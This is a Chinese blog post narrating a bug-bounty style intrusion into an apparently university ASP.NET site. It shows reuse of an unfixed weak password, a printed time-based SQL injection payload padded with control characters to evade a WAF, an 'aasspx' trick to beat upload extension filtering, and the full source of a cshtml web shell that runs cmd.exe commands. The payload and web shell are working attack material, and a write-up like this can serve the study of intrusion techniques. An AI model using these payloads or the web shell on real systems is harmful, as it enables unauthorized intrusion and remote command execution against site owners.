您的位置 首页 网络安全

记一次文件上传多重bypass

又是平淡无奇的一天,和室友翻墙出校门,吃火锅,才归来。 打开edusrc又看见各位大佬纷纷霸榜。xmsl我了,…

又是平淡无奇的一天,和室友翻墙出校门,吃火锅,才归来。

打开edusrc又看见各位大佬纷纷霸榜。xmsl我了,有没有洞挖,百般无奈,翻自己历史漏洞看看,结果发现有一个高危弱口居然还没有修复,改个密码很困难吗?欺负菜鸡也不能这么欺负呀,太看不起我了。

使用没修复的账户密码登录,主界面如下

在某查询界面,随手一加单引号,报错,两个单引号闭合无报错信息,sql注入无疑。

不要问我为什么以前没有挖出来,因为以前的我,sqlmap跑的出来的就有sql注入,跑不出来就是没注入,真是又菜又爱玩啊。

继续fuzz一遍,发现目标存在waf,输入一些关键字会被连接重置。不晓得是硬件还是云waf哦,如果是云waf的话可以通过查找真实ip进行运气绕过。例如我之前那个同济的站点就是通过查找真实ip地址进行绕过,另一种呢硬件waf的话,脏字节填充吧。fuzz一遍无果。

既然到了这里,还是老规矩,先打其他没有waf的站点搞出payload,再去手动fuzz构造payload:

运气很好,测试了几个站点,拿下了一个站。其payload如下

拿到payload,拼接,还是会被重置,开始手动fuzz。

发现可以通过%oa%ob替换空格达到绕过的效果

最终payload:

1′);–%0a%0b%01%03%04%05%06%07%08%09;%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Waitfor%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Delay%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09’00:00:5’%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09–hhhh

至此sql注入算是绕过了。

这是一条华丽的分割线——华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽华丽

之后摸索进入另一个子站点之后,发现居然可以更改文件上传的后缀。

于是更改一波后开始找上传点。

自然而然的找到了内容管理,添加内容图片出,开始上传。

果然秒丢包,这就让我很难受了呀,发现基本的后缀都被锁的死死的,我丢。准备放弃了,选择去之前那个没有waf的网站试试,重复之前的操作,发现没有waf的还是很香的,但是aspx还是被过滤掉了as。

既然会过滤,那我们就可以考虑一下aasspx 过滤拦截会过滤中间的as,之后会自动拼接a spx,形成aspx的后缀,但是这里我们需要在运行上传的文件类型中添加aasspx。

重复操作,成功上传。

之后拼接一下url,访问,ok 没有waf的站成功拿下。这个是图片所以乱码理解理解哈哈哈哈,别一来就上马。

既然思路有了,我们会到有waf的站,重复上面的操作。

上传成功,继续拼接访问。我tm的

好气啊,我好气啊,我好气啊,白忙活了。

试了一波,发现后缀依然卡的死死的。

之后,脑海里突然划过aspx,net的站点应该是支持cshtml的马的,于是说干就干。

文章如下。

https://blog.csdn.net/weixin_34261415/article/details/90356822

怕你们懒得看给你们贴cshtml的源码了

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd

于是添加上传后缀,上传,结果出其意料的顺利。

不过还是有点鸡肋只能执行特定命令。也算是拿下吧。可累死了。求哥哥带我审计好嘛,学java有点枯燥,你们咋学的java啊,直接往脑子里灌吗?

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/1076/
AGONI

作者: AGONI

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...

评论列表(4)

联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部